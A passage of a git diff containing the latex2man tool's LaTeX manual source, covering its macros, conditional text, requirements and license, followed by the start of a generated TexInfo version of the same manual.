\OptArg{-o}{filename}. +\item[\Bs OptoArg\{option\}\{argument\}] Option with optional Argument:\\ + \verb+\OptoArg{-o}{filename}+ will be + typeset as \OptoArg{-o}{filename}. +\item[\Bs oOpt\{option\}] Optional option, e.g.\ \verb+\oOpt{-o}+ will be + typeset as \oOpt{-o}. +\item[\Bs oArg\{argument\}] Optional argument, e.g.\ \verb+\oArg{filename}+ + will be typeset as \oArg{filename}. +\item[\Bs oOptArg\{option\}\{argument\}] Optional option with argument, e.g.\\ + \verb+\oOptArg{-o}{filename}+ will be typeset as \oOptArg{-o}{filename}. +\item[\Bs oOptoArg\{option\}\{argument\}] Optional option with optional + argument, e.g.\ + \verb+\oOptoArg{-o}{filename}+ will be typeset as \oOptoArg{-o}{filename}. +\item[\Bs File\{filename\}] used to typeset filenames, e.g.\ + \verb+\File{filename}+ will be typeset as \File{filename}. +\item[\Bs Prog\{prog\}] used to typeset program names, e.g.\ + \verb+\Prog{latex2man}+ will be typeset as \Prog{latex2man}. +\item[\Bs Cmd\{command\}\{chapter\}] used to typeset references to other + commands, e.g.\ \verb+\Cmd{latex2man}{1}+ will be typeset as + \Cmd{latex2man}{1}. +\item[\Bs Bar] is typeset as \Bar. +\item[\Bs Bs] (BackSlash) is typeset as \Bs. +\item[\Bs Tilde] is typeset as a \Tilde. +\item[\Bs Dots] is typeset as \Dots +\item[\Bs Bullet] us typeset as \Bullet. +\item[\Bs setVersion\{..\}] set \verb+..+ as version information. +\item[\Bs setVersionWord\{..\}] set \verb+..+ for the word \emph{Version:} in + the footline. The default is \verb+\setVersionWord{Version:}+. +\item[\Bs Version] returns the version information. +\item[\Bs setDate\{..\}] sets \verb+..+ as date information. +\item[\Bs Date] returns the date information. +\item[\Bs Email\{..\}] use to mark an Email address:\\ + \verb+\Email{Juergen.Vollmer@informatik-vollmer.de}+ is typeset as:\\ + \Email{Juergen.Vollmer@informatik-vollmer.de}. +\item[\Bs URL\{..\}] use to mark an URL: + \verb+\URL{http://www.foo.de/\Tilde vollmer}+ is typeset as + \URL{http://www.foo.de/\Tilde vollmer}. +\item[\Bs LatexManEnd] the input file is read and processed until reading + end-of-file or \verb+\LatexManEnd+ (at the beginning of a line). + \LaTeX\ ignores this command. +\item[\Bs Lbr, \Bs Rbr] is typeset as \Lbr\ and \Rbr\ (these variants are + needed only somtimes like in \verb+item[FooBar\LBr xx \Lbr]+. Usually + \verb+[ ]+ will work. +\item[\Bs LBr, \Bs RBr] is typeset as \LBr\ and \RBr\ (these variants are + needed when using \{ or \} as arguments to macros. +\item[\Bs Circum] is typeset as \Circum. +\item[\Bs Percent] is typeset as \Percent. +\item[\Bs TEXbr] If processed with \LaTeX\ causes a linebreak (i.e.\ is + equivalent to \Bs\Bs). In the output of \Prog{latex2man} this macro is + ignored. +\item[\Bs TEXIbr] If TexInfo output is generated, causes a linebreak (i.e.\ is + equivalent to \Bs\Bs), otherwise ignored. +\item[\Bs MANbr] If Man-Page output is generated, causes a linebreak (i.e.\ is + equivalent to \Bs\Bs), otherwise ignored. +\item[\Bs HTMLbr] If HTML output is generated, causes a linebreak (i.e.\ is + equivalent to \Bs\Bs), otherwise ignored. +\item[\Bs medskip] An empty line. +\item[\Bs SP] Produces some extra space, works also at the beginning of lines. + The code of the second line looks like: + \texttt{\Bs SP abc \Bs SP\Bs SP xx\Bs\Bs}:\\ + abc \SP\SP\SP xx\\ + \SP abc \SP\SP xx\\ + \SP\SP abc \SP xx + + Note: Due to some ``problems'' with TexInfo, the lines starting with + \texttt{\Bs SP} have a leading . (dot) in the TexInfo output, + see \OptArg{-a}{char}. +\end{description} + +\subsection{Accepted Macros from the rcsinfo Package} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +\begin{description}\setlength{\itemsep}{0cm} +\item[\Bs rcsInfo \$Id ...\$] if the \LaTeX\ package \File{rcsinfo} is used, + this command is used to extract the date of the Man-page. +\item[\Bs rcsInfoLongDate] if the \LaTeX\ package \File{rcsinfo} is used, this + command is used to typeset the date coded in the \verb+$Id ..$+ string. +\end{description} + +\subsection{Accepted \LaTeX\ Macros} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +The following standard \LaTeX\ commands are accepted: +\begin{description}\setlength{\itemsep}{0cm} +\item[\Bs section\{..\}] The \texttt{section} macro takes one argument: the + name of the Man-page section. Each Man-page consists of several sections. + Usually there are the following sections in a Man-page: \emph{Name} + (special handling as environment, c.f.\ above), \emph{Synopsis}, + \emph{Description}, \emph{Options}, \emph{Files}, \emph{See Also}, + \emph{Diagnostics}, \emph{Return Values}, \emph{Bugs}, \emph{Author}, + \emph{version}, etc. + + \emph{Synopsis} must be the first section after the \texttt{Name} + environment. + + Note: Do not use \LaTeX-macros in section names. +\item[\Bs subsection\{..\}] works as well as +\item[\Bs subsubsection\{..\}] those. +\item[\Bs emph\{..\}] \verb+\emph{example}+ is typeset as \emph{example}. +\item[\Bs textbf\{..\}] \verb+\textbf{example}+ is typeset as \textbf{example}. +\item[\Bs texttt\{..\}]\verb+\textt{example}+ is typeset as \texttt{example}. +\item[\Bs underline\{..\}]\verb+\underline{example}+ is typeset as + \underline{example of underline}. +\item[\Bs date\{..\}] uses \verb+..+ as date. +\item[\Bs verb+..+] but only + is allowed as delimiter. +\item[\$$<$\$] is typeset as $<$. +\item[\$$>$\$] is typeset as $>$. +\item[\$$<=$\$] is typeset as $<=$. +\item[\$$>=$\$] is typeset as $>=$. +\item[\$$=$\$] is typeset as $=$. +\item[\$$<>$\$] is typeset as $<>$. +\item[\$\Bs ge\$] is typeset as $\ge$. +\item[\$\Bs le\$] is typeset as $\le$. +\item[\$\Bs leftarrow\$] is typeset as $\leftarrow$. +\item[\$\Bs Leftarrow\$] is typeset as $\Leftarrow$. +\item[\$\Bs rightarrow\$] is typeset as $\rightarrow$. +\item[\$\Bs Rightarrow\$] is typeset as $\Rightarrow$. +\item[\Bs \{] is typeset as \{. +\item[\Bs \}] is typeset as \}. +\item[\Bs \$] is typeset as \$. +\item[\Bs \Dollar] is typeset as \Dollar, should be used inside macro + arguments. +\item[\Bs \_] is typeset as \_. +\item[\Bs \&] is typeset as \&. +\item[\Bs \#] is typeset as \#. +\item[\Bs \%] is typeset as \%. +\item[\Bs ,] is typeset as smaller blank -\,- (between the two -) +\item[\Bs -] is used to mark hyphenation in a word. +\item[\Bs \Bs] is typeset as a linebreak or marks the end of a column in the + \texttt{Table} environment. +\item[\Bs ] (a \Bs\ followed by a blank) is typeset as a blank, + although it cannot be used at the beginning of a line to make indentation + (see the \texttt{\Bs SP} command). +\item[\Tilde] is typeset as a blank. +\item[\Bs copyright] is typeset as \copyright. +\item[\Bs noindent] +\item[\Bs hline] inside a \texttt{Table} environment. +\item[\Bs item] inside a \texttt{itemize}, \texttt{enumerate}, or + \texttt{description} environment. +\item[\Bs today] \today\ (see also the \texttt{rcsinfo} \LaTeX\ package). +\item[\Bs ss,\Bs"a, ...] \Bs ss = \ss, \Bs"a = \"a, \Bs"o = \"o, \Bs"u = \"u, + \Bs"A = \"A, \Bs"O = \"O, \Bs"U = \"U. It is allowed to surround these + macros in \{ and \} in all places, even inside other macros, e.g. + \begin{verbatim} + \textbf{\"a\"o\"u\"A\"O\"U\ss} + \textbf{\"a}{\"o}{\"u}{\"A}{\"O}{\"U}{\ss}} + \textbf{} + \end{verbatim} + + \textbf{\"a\"o\"u\"A\"O\"U\ss {\"a}{\"o}{\"u}{\"A}{\"O}{\"U}{\ss} } + + If these letters are used in their LATIN-1 8-bit coding, they are + translated into the equivalent letter of the desired output format. + E.g. \texttt{} becomes \texttt{\Ä}; in HTML and \texttt{@"A} + in texinfo. +\end{description} + +\subsection{Conditional Text} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +\Prog{latex2man} preprocesses the \LaTeX\ input to allow text to be used +conditionally. A special sort of \LaTeX\ comment is used for that purpose. +\begin{itemize}\setlength{\itemsep}{0cm} +\item \Percent@\Percent\ IF \emph{condition} \Percent@\Percent +\item \Percent@\Percent\ ELSE \Percent@\Percent +\item \Percent@\Percent\ END-IF \Percent@\Percent +\end{itemize} + +A line must contain only such a comment and nothing else. \emph{condition} is +a boolean expression containing ``names'' and operators. The names given with +the \OptArg{-C}{name} option have the value ``true'', while all other names +occuring in the expression are assumed to be ``false''. If the evaluation of +the boolean expression results in the value ``true'', the text in the +``then''-part is used and the text in the optional ``else''-part is skipped +(and vice versa). The \texttt{IF/ELSE/END-IF} may be nested. As boolean +operators the following are allowed: + +\begin{Table}{2} +\Bar\Bar & boolean or \\ +\&\& & boolean and \\ +! & negation +\end{Table} + +( and ) for grouping are allowed. + +\noindent +For example:\\ +\Percent@\Percent\ IF abc \Percent@\Percent\\ +\verb+ +abc set\\ +\verb+ +\Percent@\Percent\ IF xyz \Percent@\Percent\\ +\verb+ +xyz set\\ +\verb+ +\Percent@\Percent\ ELSE \Percent@\Percent\\ +\verb+ +xyz NOT set\\ +\verb+ +\Percent@\Percent\ END-IF \Percent@\Percent\\ +\Percent@\Percent\ ELSE \Percent@\Percent\\ +\verb+ +abc NOT set\\ +\verb+ +\Percent@\Percent\ IF xyz \Bar\Bar\ !XYZ \Percent@\Percent\\ +\verb+ +xyz OR !XYZ set\\ +\verb+ +\Percent@\Percent\ ELSE \Percent@\Percent\\ +\verb+ +xyz OR !XYZ NOT set\\ +\verb+ +\Percent@\Percent\ END-IF \Percent@\Percent\\ +\Percent@\Percent\ END-IF \Percent@\Percent + +\noindent +Run this manual page through \Prog{latex2man} with e.g.\ +\OptArg{-C}{'abc XYZ'} and have a look to the generated output. +(If simply running the \LaTeX-document\ through \LaTeX, all lines are shown in the +.dvi file).\\ +%@% IF abc %@% + abc set\\ + %@% IF xyz %@% + xyz set\\ + %@% ELSE %@% + xyz NOT set\\ + %@% END-IF %@% +%@% ELSE %@% + abc NOT set\\ + %@% IF xyz || !XYZ %@% + xyz OR !XYZ set\\ + %@% ELSE %@% + xyz OR !XYZ NOT set + %@% END-IF %@% +%@% END-IF %@% + +\noindent +To check the conditional text feature, when \Prog{latex2man} is called with +\begin{description} +\item[\OptArg{-C}{HTML}] the lines 1a, 2b, 3b, and 4b; +\item[\OptArg{-C}{TEXI}] the lines 1b, 2a, 3b, and 4b; +\item[\OptArg{-C}{MAN}] the lines 1b, 2b, 3a, and 4b; +\item[\OptArg{-C}{LATEX}] the lines 1b, 2b, 3b, and 4a; +\item[calling \LaTeX\ without preprocessing] all lines +\end{description} +should be shown: + +%@% IF HTML %@% +1a. This text occurs only when viewing the HTML output. + +%@% ELSE %@% +1b. The HTML conditional was not set. + +%@% END-IF %@% + +%@% IF TEXI %@% +2a. This text occurs only when viewing the TEXI output + +%@% ELSE %@% +2b. The TEXI conditional was not set. + +%@% END-IF %@% + +%@% IF MAN %@% +3a. This text occurs only when viewing the MAN output + +%@% ELSE %@% +3b. The MAN conditional was not set. + +%@% END-IF %@% + +%@% IF LATEX %@% +4a. This text occurs only when viewing the LATEX output + +%@% ELSE %@% +4b. The LATEX conditional was not set. + +%@% END-IF %@% + +\subsection{Translation of User Defined Macros} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +The user macro translation file (given by the \oOptArg{-t}{transfile}) contains +\Prog{Perl} commands specifying the translation of \LaTeX\ macros defined by +the user. These macros may have none, one or two arguments. The following code +is expected: + +\begin{itemize}\setlength{\itemsep}{0cm} +\item Comments start with a \# up to the end of the line. +\item For a macro \verb+\foo+ with no arguments, the following code must be + specified: + \begin{description}\setlength{\itemsep}{0cm} + \item[Translation to Man-Pages]\TEXbr + \verb+$manMacro{'foo'} = '...';+ + \item[Translation to HTML]\TEXbr + \verb+$htmlMacro{'foo'} = '...';+ + \item[Translation to TexInfo]\TEXbr + \verb+$texiMacro{'foo'} = '...';+ + \end{description} + + where \verb+...+ is the translation. + +\item For a macro \verb+\foo{..}+ with one argument, the following code must be + specified: + \begin{description}\setlength{\itemsep}{0cm} + \item[Translation to Man-Pages]\TEXbr + \verb+$manMacro1a{'foo'} = '...';+\\ + \verb+$manMacro1b{'foo'} = '...';+ + \item[Translation to HTML]\TEXbr + \verb+$htmlMacro1a{'foo'} = '...';+\\ + \verb+$htmlMacro1b{'foo'} = '...';+ + + \item[Translation to TexInfo]\TEXbr + \verb+$texiMacro1a{'foo'} = '...';+\\ + \verb+$texiMacro1b{'foo'} = '...';+ + \end{description} + + where \verb+...+ is the translation. The \verb+1a+ code is used before the + argument, while \verb+1b+ is typeset after the argument is set. + +\item For a macro \verb+\foo{..}{..}+ with two arguments, the following code + must be specified: + \begin{description}\setlength{\itemsep}{0cm} + \item[Translation to Man-Pages]\TEXbr + \verb+$manMacro2a{'foo'} = '...';+\\ + \verb+$manMacro2b{'foo'} = '...';+\\ + \verb+$manMacro2c{'foo'} = '...';+ + \item[Translation to HTML]\TEXbr + \verb+$htmlMacro2a{'foo'} = '...';+\\ + \verb+$htmlMacro2b{'foo'} = '...';+\\ + \verb+$htmlMacro2c{'foo'} = '...';+ + \item[Translation to TexInfo]\TEXbr + \verb+$texiMacro2a{'foo'} = '...';+\\ + \verb+$texiMacro2b{'foo'} = '...';+\\ + \verb+$texiMacro2c{'foo'} = '...';+ + \end{description} + + where \verb+...+ is the translation. The \verb+2a+ code is used before the + first argument, \verb+2b+ between the two arguments and \verb+2c+ is + typeset after the second argument is set. +\item The file \File{latex2man.trans} contains some example code. +\end{itemize} + +\subsection{Verbatim Environment} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +\begin{verbatim} +This + {is} + \texttt{a} + $test$ + _of_ +verbatim + and no @* TexInfo command +\end{verbatim} + +\subsection{Subsection works} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +This is a \verb+\subsection+. + +\subsubsection{Subsubsection works} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +This is a \verb+\subsubsection+. + +\subsubsection{Subsubsection still works} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +This is another \verb+\subsubsection+. + + +\subsection{General Remarks} +%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +\begin{enumerate}\setlength{\itemsep}{0cm} +\item Empty lines are typeset as paragraph separators. +\item The arguments of the \LaTeX\ commands must not be split over several + lines. +\item Do not nest calls to macros. +\item Except the mentioned environment and macros, the usage of other \LaTeX\ + environments or macros are not translated. Their usage will cause garbage + in the output. +\item \Prog{latex2man} requires Perl version $>=$ 5.0004\_03. +\item If you want to install the system with the distributed \File{Makefile}, + you need GNU-\Prog{make}. If you don't have it, you should execute the + steps shown in the \File{Makefile} manually. +\end{enumerate} + +\subsection{Some Bug Fix Tests} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +% TODO: HTML: a blank line after \begin{description} should not emit a

    +\begin{description} +\item[Leading . and '] +%%%%%%%%%%%%%%%%%%%%%% +Now leading . and ' in generation troff output should work propperly, +since a \verb+\&+ is added. Therfore the \verb+\Dot+ macro has been deleted.\\ +Thanks to \Email{Frank.Schilder@Mathematik.Tu-Ilmenau.De}.\\ +Testcase 1: +\begin{description} +\item['\Bs n'] ... +\end{description} +Testcase 2:\\ +\File{.foobar} +Testcase 3:\\ +\Dots + +abc \Dots abc . efg ' 123 + +\item[\% in verbatim] A \% in a \Bs verb and verbatim-environment was not + emitted correctly. Thanks to Aleksey Nogin \Email{nogin@cs.caltech.edu} + for the bug report and bug fix. + +\verb+ % abc+ + +\begin{verbatim} + % abc % +\end{verbatim} + +but ignore comments following this: % this should be ignored + +\end{description} + +\section{Requirements} +%%%%%%%%%%%%%%%%%%%%%% + +\begin{description}\setlength{\itemsep}{0cm} +\item[Perl] \Prog{latex2man} requires Perl version $>=$ 5.0004\_03. +\item[Make] If you want to install the system with the distributed + \File{Makefile}, you need GNU-\Prog{make}. If you don't have it, you + should execute the steps shown in the \File{Makefile} manually. +\item[\LaTeX] \LaTeX 2e is required. +\end{description} + +\section{Changes} +%@% IF LATEX %@% +{\small\verbatiminput{CHANGES}} +%@% ELSE %@% +Please check the file \URL{latex2man-CHANGES} for the list of changes. +%@% END-IF %@% + +\section{Version} +%%%%%%%%%%%%%%%%% + +Version: \Version\ of \Date. + +\section{License and Copyright} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +\begin{description} +\item[Copyright] \copyright\ 1998, Dr.~Jrgen Vollmer, Viktoriastrae 15, + D-76133 Karlsruhe, Germany, \Email{Juergen.Vollmer@informatik-vollmer.de} + + + The actual version of \Prog{Latex2man} may be found on my homepage\\ + \URL{http://www.informatik-vollmer.de/software/latex2man}. + +\item[License] This program can be redistributed and/or modified under the + terms of the LaTeX Project Public License Distributed from CTAN archives + in directory \File{macros/latex/base/lppl.txt}; either version 1 of the + License, or any later version. + +\item[Misc] If you find this software useful, please send me a postcard from + the place where you are living. +\end{description} + +\section{Author} +%%%%%%%%%%%%%%%% + +\noindent +Dr.~Jrgen Vollmer \\ +Viktoriastrae 15 \\ +D-76133 Karlsruhe \\ +Email: \Email{Juergen.Vollmer@informatik-vollmer.de} \\ +WWW: \URL{http://www.informatik-vollmer.de}. + +\LatexManEnd + +\end{document} diff --git a/docs/latex2man/latex2man.texi b/docs/latex2man/latex2man.texi new file mode 100644 index 0000000..28af3b3 --- /dev/null +++ b/docs/latex2man/latex2man.texi @@ -0,0 +1,991 @@ +\input texinfo @c -*-texinfo-*- +@c %**start of header +@setfilename latex2man.info +@settitle latex2man +@c %**end of header +@c Manual page created with latex2man on Mo Sep 12 11:20:40 CEST 2005> +@c NOTE: This file is generated, DO NOT EDIT. +@dircategory Man-pages +@direntry +* Latex2man: (latex2man). Its Man-Page +@end direntry +@titlepage +@title latex2man +@subtitle Documentation Tools +@author Dr.~J@"urgen Vollmer +@end titlepage +@node Top, Description, (dir), (dir) +@top latex2man + +Latex2man +is a tool to translate UNIX manual pages written with +LaTeXinto a format understood by the UNIX man(1)-command. +Alternatively HTML, TexInfo, or LaTeX code can be produced too. +Output of parts of the text may be suppressed using the conditional text +feature (for this, LaTeX generation may be used). + +@section Synopsis + + +latex2man +[ -t@var{transfile} ] +[ -HMTL ] +[ -h ] +[ -V ] +[ -C@var{name} ] +@* +[ -a@var{char} ] +@var{infile} +@var{outfile} + +@menu +* Description:: +* Options:: +* Files:: +* See Also:: +* LaTeX commands:: +* Package Options:: +* Package Specific Environments:: +* Accepted LaTeX Environments:: +* Package Specific Macros:: +* Accepted Macros from the rcsinfo Package:: +* Accepted LaTeX Macros:: +* Conditional Text:: +* Translation of User Defined Macros:: +* Verbatim Environment:: +* Subsection works:: +* Subsubsection works:: +* Subsubsection still works:: +* General Remarks:: +* Some Bug Fix Tests:: +* Requirements:: +* Changes:: +* Version:: +* License and Copyright:: +* Author:: +@end menu +@node Description, Options, Top, Top +@section Description + +Latex2man +reads the file @var{infile} +and writes @var{outfile}. +The +input must be a LaTeX document using the latex2man +LaTeXpackage. +Latex2man +translates that document into the troff(1) +format using +the -man +macro package. + +Using the -H +option, HTML code can be produced, instead of +troff(1). + +Using the -T +option, TexInfo code can be produced, instead of +troff(1). + +Using the -M +option, troff(1) +input is produced. + +Using the -L +option, LaTeX ouput can be produced, instead of +troff(1). + +@node Options, Files, Description, Top +@section Options + +@table @samp +@item -t@var{transfile} +Translation for user defined LaTeX macros. +@item -M +Produce output suitable for the man(1) +command (default). +@item -H +Instead of producing output suitable for the man(1) +command, HTML code is produced (despite the name of the command). +@item -T +Instead of producing output suitable for the man(1) +command, TexInfo code is produced (despite the name of the command). The +generated @file{.texi}-file +may be processed with makeinfo(1) +(to produce an @file{.info}-file) +which in turn may be installed using +install-info(1). +The Info tags @t{@@dircategory} and +@t{@@direntry} are provided. +@item -L +The LaTeX source is written to the @var{outfile}. +This is +useful in conjunction with the -C@var{name} +option. +@item -C@var{name} +Output the conditional text for @var{name}. +If more +than one name should be given use quotes: -C@var{'name1 name2 ...'}@* + +The following names are defined automatically: +@itemize @bullet +@item +-H defines @t{HTML} +@item +-T defines @t{TEXI} +@item +-M defines @t{MAN} +@item +-L defines @t{LATEX} +@end itemize +@item -a@var{char} +Is used only in conjunction with -T.@* + +Background:@* + +TexInfo ignores all blanks before the first word on a new line. In order +to produce some additional space before that word (using \SP) some +character has to be printed before the additional space. By default this +is a . (dot). The @var{char} +specifies an alternative for that first +character. Giving a blank to +-a +supresses the indentation of a line.@* + +Note: only for the first \SP of a series that @var{char} +is printed. +@item -h +Show a help text. +@item -V +Show version information. +@end table + +@node Files, See Also, Options, Top +@section Files + + +@table @samp +@item @file{latex2man.tex} +The LaTeX file containing this Man-page. +@item @file{latex2man.sty} +The LaTeX package defining the environments and +commands. +@item @file{latex2man.cfg} +The configuration file for Latex2man +LaTeX-package. +@item @file{latex2man.trans} +File containing example translations of user +defined LaTeX macros. +@item @file{fancyheadings.sty} +A LaTeX package used to typeset head- and +foot lines. +@item @file{fancyhdr.sty} +A LaTeX package used to typeset head- and foot +lines. +@item @file{rcsinfo.sty} +A LaTeX package used to extract and use RCS version +control information in LaTeX documents. +@end table + +@node See Also, LaTeX commands, Files, Top +@section See Also + + +LaTeX,TexInfo, troff(1), +groff(1), +makeinfo(1). + +@node LaTeX commands, Package Options, See Also, Top +@section LaTeX commands + + +The LaTeX package @t{latex2man} +is used to write the Man-pages with +LaTeX.Since we translate into other text formats, not all LaTeX stuff can +be translated. + +@node Package Options, Package Specific Environments, LaTeX commands, Top +@subsection Package Options + +The @t{latex2man} +package accepts the following options: + +@table @samp +@item fancy +use the LaTeX package @t{fancyheadings}. +@item fancyhdr +use the LaTeX package @t{fancyhdr}. +@item nofancy +neither the LaTeX package @t{fancyheadings} +nor +@t{fancyhdr} +are used. +@end table + +The default option may be specified in the file @t{latex2man.cfg}. + +@node Package Specific Environments, Accepted LaTeX Environments, Package Options, Top +@subsection Package Specific Environments + + +The following environments are provided by the package: +@table @samp +@item \begin@{Name@}@{chapter@}@{name@}@{author@}@{info@}@{title@} +The +@t{Name} +environment takes five arguments: 1. the Man-page chapter, +2. the name of the Man-page, 3. the author, 4. some short information +about the tool printed in the footline of the Man-page, and 5. a text +which is used as title, for HTML and LaTeX (it's ignored for output of +the Man-page or TeXinfo. The @t{Name} +environment must be the first +environment in the document. Processing starts with this environment. Any +text before this is ignored (exception: the @t{setVersion} and +@t{setDate} commands). (Note: all arguments of \begin@{Name@} must +be written on one line). +@item \begin@{Table@}@{columns@} +The @t{Table} +environment takes one +argument: the number of columns. +For example: + +@t{\begin@{Table@}@{3@}} @* + +@t{Here & am & I \\\hline} @* + +@t{A 1 & A 2 & A 3 \\} @* + +@t{B 1 & B 2 & B 3 \\} @* + +@t{\end@{Table@}} + +will be typeset as: + +@multitable @columnfractions 0.3 0.3 0.3 +@item Here @tab am @tab I + +@item +A 1 @tab A 2 @tab A 3 + +@item B 1 @tab B 2 @tab B 3 + +@end multitable + +@t{\hline} may be used. All entries are typeset left justified. If the +Man-page is formatted with troff(1) +and tables are used, the +tbl(1) +preprocessor should be called, usually by giving +a -t +to the call of troff(1). +When viewing the generated +manula page using man(1), +tbl(1) +is called automatically. +@item \begin@{Description@} +is the same as \begin@{description@} +@item \begin@{Description@}[label] +is similar to +\begin@{description@}, but the item labels have at minimum the size +of the (optional) word @emph{label}. +The difference is visible only +in the DVI and PDF-output, not in the troff, TexInfo or HTML output. +@table @samp +@item a +|a @t{\begin@{description@}} +@item ab +|ab +@item abc +|abc +@end table +@table @samp +@item a +|a @t{\begin@{Description@}} +@item ab +|ab +@item abc +|abc +@end table +@table @samp +@item a +|a @t{\begin@{Description@}[aa]} +@item ab +|ab +@item abc +|abc +@end table +@end table + +@node Accepted LaTeX Environments, Package Specific Macros, Package Specific Environments, Top +@subsection Accepted LaTeX Environments + + +The following environments are accepted: +@itemize @bullet +@item +@t{description} +@item +@t{enumerate} +@item +@t{itemize} +@item +@t{verbatim} +@item +@t{center} +@end itemize + +They may be nested: +@itemize @bullet +@item +Itemize and nested center: + +@center A centered line.@* +@center Another centered line. +@center +@item +Another item an nested enumerate +@enumerate +@item +a +@item +b +@end enumerate +@end itemize + +@node Package Specific Macros, Accepted Macros from the rcsinfo Package, Accepted LaTeX Environments, Top +@subsection Package Specific Macros + + +The following commands are provided: +@table @samp +@item \Opt@{option@} +Option: @t{\Opt@{-o@}} will be typeset as -o. +@item \Arg@{argument@} +Argument: @t{\Arg@{filename@}} will be typeset as +@var{filename}. +@item \OptArg@{option@}@{argument@} +Option with Argument:@* + +@t{\OptArg@{-o@}@{filename@}} will be typeset as -o@var{filename}. +@item \OptoArg@{option@}@{argument@} +Option with optional Argument:@* + +@t{\OptoArg@{-o@}@{filename@}} will be +typeset as -o[@var{filename}]. +@item \oOpt@{option@} +Optional option, e.g. @t{\oOpt@{-o@}} will be +typeset as [ -o ]. +@item \oArg@{argument@} +Optional argument, e.g. @t{\oArg@{filename@}} +will be typeset as [ @var{filename} ]. +@item \oOptArg@{option@}@{argument@} +Optional option with argument, e.g.@* + +@t{\oOptArg@{-o@}@{filename@}} will be typeset as [ -o@var{filename} ]. +@item \oOptoArg@{option@}@{argument@} +Optional option with optional +argument, e.g. +@t{\oOptoArg@{-o@}@{filename@}} will be typeset as [ -o[@var{filename}] ]. +@item \File@{filename@} +used to typeset filenames, e.g. +@t{\File@{filename@}} will be typeset as @file{filename}. +@item \Prog@{prog@} +used to typeset program names, e.g. +@t{\Prog@{latex2man@}} will be typeset as latex2man. +@item \Cmd@{command@}@{chapter@} +used to typeset references to other +commands, e.g. @t{\Cmd@{latex2man@}@{1@}} will be typeset as +latex2man(1). +@item \Bar +is typeset as |. +@item \Bs +(BackSlash) is typeset as \. +@item \Tilde +is typeset as a ~. +@item \Dots +is typeset as ... +@item \Bullet +us typeset as *. +@item \setVersion@{..@} +set @t{..} as version information. +@item \setVersionWord@{..@} +set @t{..} for the word @emph{Version:} +in +the footline. The default is @t{\setVersionWord@{Version:@}}. +@item \Version +returns the version information. +@item \setDate@{..@} +sets @t{..} as date information. +@item \Date +returns the date information. +@item \Email@{..@} +use to mark an Email address:@* + +@t{\Email@{Juergen.Vollmer@@informatik-vollmer.de@}} is typeset as:@* + +@email{Juergen.Vollmer@@informatik-vollmer.de}. +@item \URL@{..@} +use to mark an URL: +@t{\URL@{http://www.foo.de/\Tilde vollmer@}} is typeset as +@url{http://www.foo.de/~vollmer}. +@item \LatexManEnd +the input file is read and processed until reading +end-of-file or @t{\LatexManEnd} (at the beginning of a line). +LaTeXignores this command. +@item \Lbr, \Rbr +is typeset as [ and ] (these variants are +needed only somtimes like in @t{item[FooBar\LBr xx \Lbr]}. Usually +@t{[ ]} will work. +@item \LBr, \RBr +is typeset as @{ and @} (these variants are +needed when using @{ or @} as arguments to macros. +@item \Circum +is typeset as ^. +@item \Percent +is typeset as %. +@item \TEXbr +If processed with LaTeX causes a linebreak (i.e. is +equivalent to \\).In the output of latex2man +this macro is +ignored. +@item \TEXIbr +If TexInfo output is generated, causes a linebreak (i.e. is +equivalent to \\),otherwise ignored. +@item \MANbr +If Man-Page output is generated, causes a linebreak (i.e. is +equivalent to \\),otherwise ignored. +@item \HTMLbr +If HTML output is generated, causes a linebreak (i.e. is +equivalent to \\),otherwise ignored. +@item \medskip +An empty line. +@item \SP +Produces some extra space, works also at the beginning of lines. +The code of the second line looks like: +@t{\SP abc \SP\SP xx\\}:@* + +abc @ @ @ @ @ @ xx@* + +.@ abc @ @ @ @ xx@* + +.@ .@ abc @ @ xx + +Note: Due to some ``problems'' with TexInfo, the lines starting with +@t{\SP} +have a leading . (dot) in the TexInfo output, +see -a@var{char}. +@end table + +@node Accepted Macros from the rcsinfo Package, Accepted LaTeX Macros, Package Specific Macros, Top +@subsection Accepted Macros from the rcsinfo Package + + +@table @samp +@item \rcsInfo $Id ...$ +if the LaTeX package @file{rcsinfo} +is used, +this command is used to extract the date of the Man-page. +@item \rcsInfoLongDate +if the LaTeX package @file{rcsinfo} +is used, this +command is used to typeset the date coded in the @t{$Id ..$} string. +@end table + +@node Accepted LaTeX Macros, Conditional Text, Accepted Macros from the rcsinfo Package, Top +@subsection Accepted LaTeX Macros + + +The following standard LaTeX commands are accepted: +@table @samp +@item \section@{..@} +The @t{section} +macro takes one argument: the +name of the Man-page section. Each Man-page consists of several sections. +Usually there are the following sections in a Man-page: @emph{Name} +(special handling as environment, c.f. above), @emph{Synopsis}, +@emph{Description}, +@emph{Options}, +@emph{Files}, +@emph{See Also}, +@emph{Diagnostics}, +@emph{Return Values}, +@emph{Bugs}, +@emph{Author}, +@emph{version}, +etc. + +@emph{Synopsis} +must be the first section after the @t{Name} +environment. + +Note: Do not use LaTeX-macrosin section names. +@item \subsection@{..@} +works as well as +@item \subsubsection@{..@} +those. +@item \emph@{..@} +@t{\emph@{example@}} is typeset as @emph{example}. +@item \textbf@{..@} +@t{\textbf@{example@}} is typeset as @strong{example}. +@item \texttt@{..@} +@t{\textt@{example@}} is typeset as @t{example}. +@item \underline@{..@} +@t{\underline@{example@}} is typeset as +example of underline. +@item \date@{..@} +uses @t{..} as date. +@item \verb+..+ +but only + is allowed as delimiter. +@item $<$ +is typeset as <. +@item $>$ +is typeset as >. +@item $<=$ +is typeset as <=. +@item $>=$ +is typeset as >=. +@item $=$ +is typeset as =. +@item $<>$ +is typeset as <>. +@item $\ge$ +is typeset as $>=$. +@item $\le$ +is typeset as $<=$. +@item $\leftarrow$ +is typeset as $<--$. +@item $\Leftarrow$ +is typeset as $<==$. +@item $\rightarrow$ +is typeset as $-->$. +@item $\Rightarrow$ +is typeset as $==>$. +@item \@{ +is typeset as @{. +@item \@} +is typeset as @}. +@item \$ +is typeset as $. +@item \$ +is typeset as $,should be used inside macro 